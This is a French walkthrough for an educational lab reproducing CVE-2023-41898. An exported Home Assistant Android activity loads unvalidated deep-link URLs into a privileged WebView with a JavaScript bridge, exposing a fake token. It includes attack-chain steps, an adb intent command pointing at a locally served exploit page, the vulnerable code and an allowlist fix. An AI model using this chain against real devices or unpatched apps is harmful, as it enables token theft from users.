
Guide pas à pas de CVE-2023-41898 : exploiter un lien profond non validé dans Home Assistant Android pour charger des URL arbitraires dans une WebView privilégiée et divulguer un faux jeton.
Il s'agit d'un laboratoire de reproduction pédagogique à taille réduite, basé sur le rapport de vulnérabilité publique (GHSL-2023-142) de Home Assistant Companion pour Android et sur la structure open source de la version vulnérable 2023.8.2.
Aucun serveur, compte ou jeton Home Assistant réel n'est utilisé. Seul un jeton fictif fixe nommé LAB_TOKEN_CVE_2023_41898_NOT_REAL est exposé.
2023.9.2 (selon l'avis officiel)2023.9.2Attacker App
│ Intent explicite ACTION_VIEW
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ WebView.loadUrl() avec JavaScript activé, sans validation
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (WebView privilégié)
│ exposition du bridge JavaScript externalApp à la page de l'attaquant
▼
Affichage du LAB_TOKEN fictif
L'intent-filter du manifest Android ne fait que définir quelles URI correspondent aux intents implicites ; il ne valide pas automatiquement l'URI de données d'un Intent dont le composant est explicitement désigné.
victim/ : application reproduisant le gestionnaire de liens profonds vulnérable et le WebView privilégiéattacker/ : application envoyant un Intent explicite à l'Activity exportée de l'application victimeweb/ : pages d'attaque des étapes 1 et 2 servies localementdist/ : APK de débogage validésUPSTREAM.md : correspondance entre le code source original et l'implémentation du laboratoirePrérequis : JDK 17 ou supérieur, Android SDK 36, cache Gradle/Android Gradle Plugin ou connexion Internet.
./gradlew :victim:assembleDebug :attacker:assembleDebug
À exécuter uniquement sur un émulateur autorisé ou un appareil de test.
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
Depuis la racine du laboratoire, exécutez la commande suivante.
python3 -m http.server 8000 --directory web
Dans l'émulateur par défaut d'Android Studio, 10.0.2.2 pointe vers la boucle locale du PC hôte. Si vous utilisez un appareil de test réel, remplacez l'URL dans web/exploit.html et dans l'application d'attaque par l'adresse IP LAN du PC.
CVE-2023-41898 Victim et CVE-2023-41898 Attacker.homeassistant://navigate/.LAB_TOKEN_CVE_2023_41898_NOT_REAL s'affiche.Vous pouvez également déclencher la première étape via ADB, sans l'application d'attaque.
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
L'implémentation vulnérable charge l'URI externe telle quelle.
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
Lors de la correction, le scheme, l'hôte, le port et le chemin de l'URI analysée doivent être validés par une allowlist stricte. Les comparaisons de chaînes avec startsWith doivent être évitées, car elles présentent des risques de contournement via les informations utilisateur ([email protected]), les sous-domaines et l'encodage.
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
En outre, il convient de supprimer tout JavaScript et JavascriptInterface inutiles dans la WebView, et d'appliquer la même validation d'URL à toutes les navigations et redirections.
2023.8.2 : https://github.com/home-assistant/android/tree/2023.8.2